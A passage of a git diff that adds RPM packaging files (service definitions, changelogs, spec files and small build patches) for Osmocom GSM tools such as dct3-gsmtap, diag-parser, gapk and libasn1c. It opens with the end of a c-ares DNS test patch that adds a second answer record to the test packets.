+ 0x12, 0x34, // qid
+ 0x84, // response + query + AA + not-TC + not-RD
+ 0x00, // not-RA + not-Z + not-AD + not-CD + rc=NoError
+ 0x00, 0x01, // num questions
+- 0x00, 0x01, // num answer RRs
++ 0x00, 0x02, // num answer RRs
+ 0x00, 0x00, // num authority RRs
+ 0x00, 0x00, // num additional RRs
+ // Question
+@@ -35,6 +36,15 @@ TEST_F(LibraryTest, ParseAReplyOK) {
+ 0x01, 0x02, 0x03, 0x04, // TTL
+ 0x00, 0x04, // rdata length
+ 0x02, 0x03, 0x04, 0x05,
++ // Answer 2
++ 0x07, 'e', 'x', 'a', 'm', 'p', 'l', 'e',
++ 0x03, 'c', 'o', 'm',
++ 0x00,
++ 0x00, 0x1c, // RR type
++ 0x00, 0x01, // class IN
++ 0x01, 0x02, 0x03, 0x04, // TTL
++ 0x00, 0x10, // rdata length
++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x03, 0x04, 0x05,
+ };
+ EXPECT_EQ(data, pkt.data());
+ struct hostent *host = nullptr;
+@@ -68,7 +78,7 @@ TEST_F(LibraryTest, ParseMalformedAReply) {
+ 0x84, // [2] response + query + AA + not-TC + not-RD
+ 0x00, // [3] not-RA + not-Z + not-AD + not-CD + rc=NoError
+ 0x00, 0x01, // [4:6) num questions
+- 0x00, 0x01, // [6:8) num answer RRs
++ 0x00, 0x02, // [6:8) num answer RRs
+ 0x00, 0x00, // [8:10) num authority RRs
+ 0x00, 0x00, // [10:12) num additional RRs
+ // Question
+diff --git a/test/ares-test-parse-aaaa.cc b/test/ares-test-parse-aaaa.cc
+index 9d0457e..1314c83 100644
+--- a/test/ares-test-parse-aaaa.cc
++++ b/test/ares-test-parse-aaaa.cc
+@@ -13,7 +13,8 @@ TEST_F(LibraryTest, ParseAaaaReplyOK) {
+ .add_question(new DNSQuestion("example.com", ns_t_aaaa))
+ .add_answer(new DNSAaaaRR("example.com", 100,
+ {0x01, 0x01, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02,
+- 0x03, 0x03, 0x03, 0x03, 0x04, 0x04, 0x04, 0x04}));
++ 0x03, 0x03, 0x03, 0x03, 0x04, 0x04, 0x04, 0x04}))
++ .add_answer(new DNSARR("example.com", 0x01020304, {2,3,4,5}));
+ std::vector<byte> data = pkt.data();
+ struct hostent *host = nullptr;
+ struct ares_addr6ttl info[5];
diff --git a/rpm-local/spec/dct3-gsmtap/0001-build-obey-CFLAGS.patch b/rpm-local/spec/dct3-gsmtap/0001-build-obey-CFLAGS.patch
new file mode 100644
index 0000000..5354152
--- /dev/null
+++ b/rpm-local/spec/dct3-gsmtap/0001-build-obey-CFLAGS.patch
@@ -0,0 +1,22 @@
+From 31ae86b8f008cb54dbf2a07e8f94a3eb65abff21 Mon Sep 17 00:00:00 2001
+From: Martin Hauke <mardnh@gmx.de>
+Date: Wed, 4 Jan 2017 22:50:11 +0100
+Subject: [PATCH] build: obey CFLAGS
+
+---
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/Makefile b/src/Makefile
+index 3e5e0af..337991c 100644
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -1,4 +1,4 @@
+-CFLAGS=-Wall -Werror
++CFLAGS+=-Wall -Werror
+
+ all: dct3-gsmtap
+
+--
+2.6.6
+
diff --git a/rpm-local/spec/dct3-gsmtap/_service b/rpm-local/spec/dct3-gsmtap/_service
new file mode 100644
index 0000000..fbcc05e
--- /dev/null
+++ b/rpm-local/spec/dct3-gsmtap/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/dct3-gsmtap</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="exclude">.git</param>
+ <param name="package-meta">no</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/dct3-gsmtap/_servicedata b/rpm-local/spec/dct3-gsmtap/_servicedata
new file mode 100644
index 0000000..dbdfbd4
--- /dev/null
+++ b/rpm-local/spec/dct3-gsmtap/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/dct3-gsmtap</param>
+ <param name="changesrevision">143a5bb345c61b9f2442bbcf8f8a6a6ddb8c5b07</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.changes b/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.changes
new file mode 100644
index 0000000..458e514
--- /dev/null
+++ b/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.changes
@@ -0,0 +1,11 @@
+-------------------------------------------------------------------
+Wed Jan 4 21:50:52 UTC 2017 - mardnh@gmx.de
+
+- add patch 0001-build-obey-CFLAGS.patch
+- add CFLAGS to supress compiler-errors on newer gcc versions
+
+-------------------------------------------------------------------
+Mon Dec 22 16:05:20 UTC 2014 - mardnh@gmx.de
+
+- initial package, version 0.0.0.git1356478582.143a5bb
+
diff --git a/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.spec b/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.spec
new file mode 100644
index 0000000..f77b3be
--- /dev/null
+++ b/rpm-local/spec/dct3-gsmtap/dct3-gsmtap.spec
@@ -0,0 +1,50 @@
+#
+# spec file for package dct3-gsmtap
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: dct3-gsmtap
+Version: 0.0.0.git1356478582.143a5bb
+Release: 0
+Summary: Obtain GSMTAP messages from Nokia DCT3 phones
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/wiki/dct3-gsmtap
+Source: %{name}-%{version}.tar.xz
+Patch0: 0001-build-obey-CFLAGS.patch
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+A tool to obtain GSMTAP messages for SIM and GSM from Nokia DCT3 phones
+
+%prep
+%setup -q
+%patch0 -p1
+
+%build
+export CFLAGS="%{optflags} -Wno-unused-const-variable -Wno-unused-result"
+make -C src/ %{?_smp_mflags}
+
+%install
+mkdir -p %{buildroot}%{_bindir}/
+install -Dpm 0755 src/dct3-gsmtap %{buildroot}%{_bindir}/dct3-gsmtap
+
+%files
+%defattr(-,root,root)
+%doc COPYING README
+%{_bindir}/dct3-gsmtap
+
+%changelog
diff --git a/rpm-local/spec/diag-parser/_service b/rpm-local/spec/diag-parser/_service
new file mode 100644
index 0000000..d5093cc
--- /dev/null
+++ b/rpm-local/spec/diag-parser/_service
@@ -0,0 +1,17 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">https://github.com/moiji-mobile/diag-parser</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/diag-parser/_servicedata b/rpm-local/spec/diag-parser/_servicedata
new file mode 100644
index 0000000..7ec85dc
--- /dev/null
+++ b/rpm-local/spec/diag-parser/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">https://github.com/moiji-mobile/diag-parser</param>
+ <param name="changesrevision">213a79641786b54f8351b49a20682ed2ac9621d8</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/diag-parser/diag-parser.changes b/rpm-local/spec/diag-parser/diag-parser.changes
new file mode 100644
index 0000000..c054578
--- /dev/null
+++ b/rpm-local/spec/diag-parser/diag-parser.changes
@@ -0,0 +1,46 @@
+-------------------------------------------------------------------
+Sun Apr 08 18:48:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1511779051.b3707d5:
+ * LTE message parsing Finds the size and copies to the LTE message from the diag structure. Up/down flag of RRC message looks better now. Uses newly defined gsmtap type for LTE RRC
+ * uses newer libosmocore, which contains the proper GSMTAP_TYPE_LTE_NAS
+
+-------------------------------------------------------------------
+Mon Dec 05 22:08:47 UTC 2016 - mardnh@gmx.de
+
+- removed diag-parser.1 (added upstream)
+- Update to version 0.0.0.git1480975056.8c5a21f:
+ * Add manpage
+
+-------------------------------------------------------------------
+Sun Dec 4 19:24:44 UTC 2016 - mardnh@gmx.de
+
+- add manpage
+
+-------------------------------------------------------------------
+Sun Dec 04 14:05:51 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1480793791.008360d:
+ * diag_input: remove inline to allow build
+ * diag_init: add comments about the magic init
+
+-------------------------------------------------------------------
+Fri Nov 18 20:53:13 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1477678339.e24b127:
+ * randcheck: Remove the rand handling
+ * l3: Remove the is_double handling
+ * session: Do not store messages but free them after processing
+ * make: Add dependency tracking and silent rules
+ * session: Remove session_stream
+ * session: gut out more of the state handling
+ * misc: Remove more unused files to slim down the utility
+ * diag: Open the file in read write mode to allow to initialize the modem
+ * output: Remove too strong assert after adding a gsmtap sink
+ * misc: Add some more text for the readme file
+
+-------------------------------------------------------------------
+Fri Nov 18 20:49:34 UTC 2016 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/diag-parser/diag-parser.spec b/rpm-local/spec/diag-parser/diag-parser.spec
new file mode 100644
index 0000000..d5ae0c0
--- /dev/null
+++ b/rpm-local/spec/diag-parser/diag-parser.spec
@@ -0,0 +1,52 @@
+#
+# spec file for package diag-parser
+#
+# Copyright (c) 2016, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: diag-parser
+Version: 0.0.0.git1511779051.b3707d5
+Release: 0
+Summary: DIAG parser and to GSMTAP converter
+License: GPL-3.0+
+Group: Productivity/Telephony/Utilities
+Url: https://github.com/moiji-mobile/diag-parser
+Source: %{name}-%{version}.tar.xz
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+Parse the Qualcomm DIAG format and convert 2G, 3G and 4G radio messages
+to Osmocom GSMTAP for analysis in wireshark and other utilities.
+
+%prep
+%setup -q
+
+%build
+make %{?_smp_mflags}
+
+%install
+install -Dpm0755 diag_parser %{buildroot}/%{_bindir}/diag-parser
+install -Dpm0644 diag-parser.1 %{buildroot}/%{_mandir}/man1/diag-parser.1
+
+%files
+%defattr(-,root,root)
+%doc COPYING README.md
+%{_bindir}/diag-parser
+%{_mandir}/man1/diag-parser.1%{ext_man}
+
+%changelog
diff --git a/rpm-local/spec/gapk/_service b/rpm-local/spec/gapk/_service
new file mode 100644
index 0000000..386ffb1
--- /dev/null
+++ b/rpm-local/spec/gapk/_service
@@ -0,0 +1,17 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/gapk</param>
+ <param name="revision">master</param>
+ <param name="versionrewrite-pattern">v(.*)</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ <param name="basename">gapk</param>
+ </service>
+</services>
diff --git a/rpm-local/spec/gapk/_servicedata b/rpm-local/spec/gapk/_servicedata
new file mode 100644
index 0000000..4f97d04
--- /dev/null
+++ b/rpm-local/spec/gapk/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/gapk</param>
+ <param name="changesrevision">ee62e46019c1b92a8109f005788721bee464f6cb</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/gapk/gapk-disable-codec-dl-during-build.diff b/rpm-local/spec/gapk/gapk-disable-codec-dl-during-build.diff
new file mode 100644
index 0000000..7c61874
--- /dev/null
+++ b/rpm-local/spec/gapk/gapk-disable-codec-dl-during-build.diff
@@ -0,0 +1,26 @@
+diff --git a/libgsmhr/fetch_sources.py b/libgsmhr/fetch_sources.py
+index 6fb1b8e..545bd3c 100755
+--- a/libgsmhr/fetch_sources.py
++++ b/libgsmhr/fetch_sources.py
+@@ -10,8 +10,7 @@ try:
+ except:
+ import StringIO
+
+-
+-SRC = "http://www.3gpp.org/ftp/Specs/archive/06_series/06.06/0606-421.zip"
++SRC = "../0606_421.zip"
+ HDR = {
+ "User-Agent": "Mozilla/5.0 (X11; ArchLinux; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+@@ -49,9 +48,8 @@ def main(*args):
+ os.chdir(tgt)
+
+ # Get the original data
+- req = urllib2.Request(SRC, headers = HDR)
+- u = urllib2.urlopen(req)
+- d = u.read()
++ f = open(SRC)
++ d = f.read()
+
+ # Get DISK.zip
+ d = get_subfile_data(d, 'DISK.zip')
diff --git a/rpm-local/spec/gapk/gapk.changes b/rpm-local/spec/gapk/gapk.changes
new file mode 100644
index 0000000..a01634b
--- /dev/null
+++ b/rpm-local/spec/gapk/gapk.changes
@@ -0,0 +1,123 @@
+-------------------------------------------------------------------
+Thu Jul 18 20:12:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.79:
+ * Fix typos
+
+-------------------------------------------------------------------
+Thu Jul 11 20:22:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.78:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Tue Jul 17 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.77:
+ * Make RTP payload type configurable
+ * build: fix packaging problems and make distcheck happy
+
+-------------------------------------------------------------------
+Tue Jul 03 17:33:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.75:
+ * configure.ac: disable building libgsmhr by default
+ * fmt_ti.c: fix: properly pre-clean the output buffer
+ * tests: make both Valgrind and LeakSanitizer happy
+ * testsuite.at: fix: conditionally enable 'ecu/ecu_fr_test'
+ * libgsmhr/fetch_sources.py: fix source code downloading
+ * contrib/jenkins.sh: enable AddressSanitizer
+
+-------------------------------------------------------------------
+Sat Jun 30 09:34:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.69:
+ * Implement ECU (Error Concealment Unit) block for FR
+ * procqueue.c: rely on item type instead of its position
+ * app_osmo_gapk.c: use recommended osmo_init_logging2()
+
+-------------------------------------------------------------------
+Mon Mar 19 18:57:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.66
+
+-------------------------------------------------------------------
+Wed Feb 14 16:06:20 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.65
+
+-------------------------------------------------------------------
+Tue Feb 6 18:36:30 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.60
+
+-------------------------------------------------------------------
+Wed Jan 31 21:34:24 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.59
+- Package cleanup
+
+-------------------------------------------------------------------
+Wed Jan 31 20:53:48 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream release 0.4
+- Package cleanup
+
+-------------------------------------------------------------------
+Thu Jan 5 09:57:20 UTC 2017 - mardnh@gmx.de
+
+- build only on intel platforms i586, x86_64
+ + benchmarking is currently only supported on intel platforms
+
+-------------------------------------------------------------------
+Sun Jan 03 20:35:39 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1451650657.d192d8c:
+ + main: Fixup the help screen
+ + benchmark: Fix cpuid clobbering
+
+-------------------------------------------------------------------
+Wed Dec 30 11:23:02 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1451472903.c0f0342:
+ + benchmark: Make sure to print to stderr
+ + build: Use autotools 'subdir-objects' option
+ + build: Don't build static libraries
+ + libgsmhr/fetch_sources: Only use the filename and not any path
+ + libgsmhr: fix Makefile.am dependency on source download
+ + libgsmhr: Fix parallel build dependency
+ + libgsmhr: Use patch instead of 'sed'
+ + libgsmhr: Add some code cleanup / speedup patches for reference codec
+ + libgsmhr: Make it safe to decode/encode different streams at once
+- minor specfile cleanup
+
+-------------------------------------------------------------------
+Sat Dec 26 23:15:14 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.3.0.git1446756069.d72b0f6:
+ + Add cycle benchmarking support
+ + add git-version-gen to auto-generate version from git repo tags
+ + Fix dist / distcheck targets by including fetch_sources.py in EXTRA_DIST
+ + ensure all gapk header files are included in 'dist'
+
+-------------------------------------------------------------------
+Thu Dec 18 09:11:20 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1386945667.8b5e0c7:
+ + format: Add support for the TI calypso/locosto dumped buffer format
+ + format/fmt_ti: Add support for HR variant
+ + format/fmt_ti: Add support for EFR variant
+ + autotools: Add AC_LANG_SOURCE required for autotools >= 2.68
+ + codec: Fix opencore nb include path
+ + gapk main: move fh_in and fh_out to sub-structures in a union
+ + gapk: Add support for RTP input/output streams
+ + gapk: make sure the output file is closed/flushed on ctrl+c
+ + build: Use AM_CPPFLAGS in Makefile.am
+ + libgsmhr: Update source location
+- updated patch: gapk-disable-codec-dl-during-build.diff
+- specfile cleanup
+
+-------------------------------------------------------------------
+Thu Aug 15 21:36:51 UTC 2013 - mardnh@gmx.de
+
+- created package from scratch
diff --git a/rpm-local/spec/gapk/gapk.spec b/rpm-local/spec/gapk/gapk.spec
new file mode 100644
index 0000000..3f076cc
--- /dev/null
+++ b/rpm-local/spec/gapk/gapk.spec
@@ -0,0 +1,154 @@
+#
+# spec file for package gapk
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define with_amr 1
+%define with_gsmhr 1
+%define sover 0
+
+Name: gapk
+Version: 0.4.79
+Release: 0
+Summary: GSM Audio Pocket Knife
+License: GPL-3.0-only
+Group: Productivity/Multimedia/Sound/Editors and Convertors
+URL: http://www.osmocom.org
+Source: gapk-%{version}.tar.xz
+# License: for libgsmhr see 3gpp website
+Source1: 0606_421.zip
+Patch1: gapk-disable-codec-dl-during-build.diff
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libgsm-devel
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: python
+BuildRequires: pkgconfig(alsa)
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+# Benchmarking is currently only supported on intel platforms...
+ExclusiveArch: %{ix86} x86_64
+%if 0%{with_amr}
+BuildRequires: libopencore-amr-devel
+%endif
+
+%description
+gapk is intented to be the GSM Audio Pocket Knife.
+It encodes/decodes several GSM-related audio-codes (HR,FR,EFR)
+
+%if 0%{with_gsmhr}
+%package -n libgsmhr0
+Summary: Shared Library part of libgsmhr
+License: NonFree
+Group: Development/Libraries/C and C++
+
+%description -n libgsmhr0
+libgsmhr contains a standard implementation of the European GSM 06.20
+provisional standard for GSM Half Rate speech speech transcoding.
+
+%package -n libgsmhr-devel
+Summary: Development files for the gsmhr library
+License: NonFree
+Group: Development/Libraries/C and C++
+Requires: libgsmhr0 = %{version}
+
+%description -n libgsmhr-devel
+libgsmhr contains a standard implementation of the European GSM 06.20
+provisional standard for GSM Half Rate speech speech transcoding.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libgsmhr.
+%endif
+
+%package -n libosmogapk%{sover}
+Summary: Shared library part of GSM Audio Pocket Knife (GAPK)
+License: GPL-3.0-only
+Group: Development/Libraries/C and C++
+
+%description -n libosmogapk%{sover}
+Shared library part of GSM Audio Pocket Knife (GAPK).
+
+%package -n libosmogapk-devel
+Summary: Development files for the GAPK library
+License: GPL-3.0-only
+Group: Development/Libraries/C and C++
+Requires: libosmogapk%{sover} = %{version}
+
+%description -n libosmogapk-devel
+Shared library part of GSM Audio Pocket Knife (GAPK).
+
+This subpackage contains the development files for the Osmocom GAPK
+library.
+
+%prep
+%setup -q
+%if 0%{with_gsmhr}
+%patch1 -p1
+cp %{SOURCE1} libgsmhr/
+%endif
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+%if 0%{with_gsmhr}
+ --enable-gsmhr \
+%endif
+ --disable-static
+make V=1 %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+%if 0%{with_gsmhr}
+## GSM HR tests (6,9,13,14) are known to be broken - https://osmocom.org/issues/2514
+make %{?_smp_mflags} check || :
+%else
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+%endif
+
+%if 0%{with_gsmhr}
+%post -n libgsmhr0 -p /sbin/ldconfig
+%postun -n libgsmhr0 -p /sbin/ldconfig
+%endif
+
+%post -n libosmogapk%{sover} -p /sbin/ldconfig
+%postun -n libosmogapk%{sover} -p /sbin/ldconfig
+
+%files
+%doc gpl-3.0.txt
+%{_bindir}/osmo-gapk
+
+%if 0%{with_gsmhr}
+%files -n libgsmhr0
+%{_libdir}/libgsmhr.so.0*
+
+%files -n libgsmhr-devel
+%{_libdir}/libgsmhr.so
+%endif
+
+%files -n libosmogapk%{sover}
+%{_libdir}/libosmogapk.so.%{sover}*
+
+%files -n libosmogapk-devel
+%dir %{_includedir}/osmocom/
+%{_includedir}/osmocom/%{name}/
+%{_libdir}/libosmogapk.so
+%{_libdir}/pkgconfig/libosmogapk.pc
+
+%changelog
diff --git a/rpm-local/spec/libasn1c/_service b/rpm-local/spec/libasn1c/_service
new file mode 100644
index 0000000..6f07866
--- /dev/null
+++ b/rpm-local/spec/libasn1c/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libasn1c</param>
+ <param name="revision">master</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libasn1c/_servicedata b/rpm-local/spec/libasn1c/_servicedata
new file mode 100644
index 0000000..8cbd523
--- /dev/null
+++ b/rpm-local/spec/libasn1c/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libasn1c</param>
+ <param name="changesrevision">19205a38c34175f4fb4d1d06e77f1d3e4a39c651</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libasn1c/libasn1c.changes b/rpm-local/spec/libasn1c/libasn1c.changes
new file mode 100644
index 0000000..1f53068
--- /dev/null
+++ b/rpm-local/spec/libasn1c/libasn1c.changes
@@ -0,0 +1,93 @@
+-------------------------------------------------------------------
+Thu Aug 08 21:54:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.9.32.0:
+ * Bump version: 0.9.31.4-cd14-dirty → 0.9.32
+ * Fix LIBVERSION not applied
+
+-------------------------------------------------------------------
+Thu Jul 11 20:01:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.9.31.4:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Sat Dec 22 21:00:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.31.3:
+ * Revert "jenkins.sh: disable parallel build"
+
+-------------------------------------------------------------------
+Tue Dec 11 21:00:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.31.2:
+ * jenkins.sh: disable parallel build
+
+-------------------------------------------------------------------
+Mon Sep 17 20:00:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.31.1:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Fri May 04 20:00:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.31.0:
+ * debian: set VERSION to fix version in .pc files
+ * Bump version: 0.9.30.1-3dc5 → 0.9.31
+
+-------------------------------------------------------------------
+Thu May 03 20:00:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.30.0:
+ * .gitignore: add compile
+ * build: Support make release target
+ * debian/changelog: Set previous versions to unstable
+ * Bump version: 0.9.28 → 0.9.29
+ * configure.ac: Use git-version-gen to set VERSION
+ * Bump version: 0.9.29.1-42b1 → 0.9.30
+
+-------------------------------------------------------------------
+Wed Mar 14 21:24:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.9.28.7:
+ * Fix compiler warning
+ * Fix compiler warning
+ * Sync debian package version (0.9.28) with acversion
+ * link libasn1c against libmath, don't ask users to do it
+ * fix compiler warning: drop dead code from BIT_STRING_fromBuf()
+ * jenkins: add missing set -e to catch build errors
+ * jenkins: use osmo-clean-workspace.sh before and after build
+ * add --enable-sanitize config option
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Sat Feb 10 19:54:15 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 12:46:52 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.9.28.5
+
+-------------------------------------------------------------------
+Mon Oct 2 22:35:06 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.28.14
+ * Relicense asn1helpers under BSD2C
+
+-------------------------------------------------------------------
+Sat Apr 29 00:14:29 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.28.9
+ * aper fix for decoding constrained integer with lower boundary
+ * fix APER encoding of integer
+ * remove config.h include from asn_system.h
+ * Add helper functions for uint32_t in octet strings
+
+-------------------------------------------------------------------
+Wed Dec 23 18:40:53 UTC 2015 - jengelh@inai.de
+
+- Initial package (version 0.9.28~20) for build.opensuse.org
diff --git a/rpm-local/spec/libasn1c/libasn1c.spec b/rpm-local/spec/libasn1c/libasn1c.spec
new file mode 100644
index 0000000..e05b3e9
--- /dev/null
+++ b/rpm-local/spec/libasn1c/libasn1c.spec
@@ -0,0 +1,98 @@
+#
+# spec file for package libasn1c
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: libasn1c
+Version: 0.9.32.0
+Release: 0
+Summary: Osmocon ASN.1 decoder and encoder library
+License: BSD-2-Clause
+Group: Development/Libraries/C and C++
+Url: http://openbsc.osmocom.org/trac/
+
+Source: %name-%version.tar.xz
+BuildRequires: libtool >= 2
+BuildRequires: pkg-config
+BuildRequires: xz
+BuildRequires: pkgconfig(libosmocore) >= 0.1.13
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+Lev Walkins's asn1c runtime, as a shared library and with
+modifications for Osmocom.
+
+Compiles ASN.1 data structures into C source structures that can be
+simply (un)marshalled from and to: BER, DER, CER, BASIC-XER, CXER,
+EXTENDED-XER, PER.
+
+%package -n libasn1c1
+Summary: Osmocon ASN.1 decoder and encoder library
+Group: System/Libraries
+
+%description -n libasn1c1
+Lev Walkins's asn1c runtime, as a shared library and with
+modifications for Osmocom.
+
+Compiles ASN.1 data structures into C source structures that can be
+simply (un)marshalled from and to: BER, DER, CER, BASIC-XER, CXER,
+EXTENDED-XER, PER.
+
+%package -n libasn1c-devel
+Summary: Development files for libasn1c, Osmocom's ASN.1 decoder and encoder library
+Group: Development/Libraries/C and C++
+Requires: libasn1c1 = %version
+Requires: libtalloc-devel
+
+%description -n libasn1c-devel
+Compiles ASN.1 data structures into C source structures that can be
+simply (un)marshalled from and to: BER, DER, CER, BASIC-XER, CXER,
+EXTENDED-XER, PER.
+
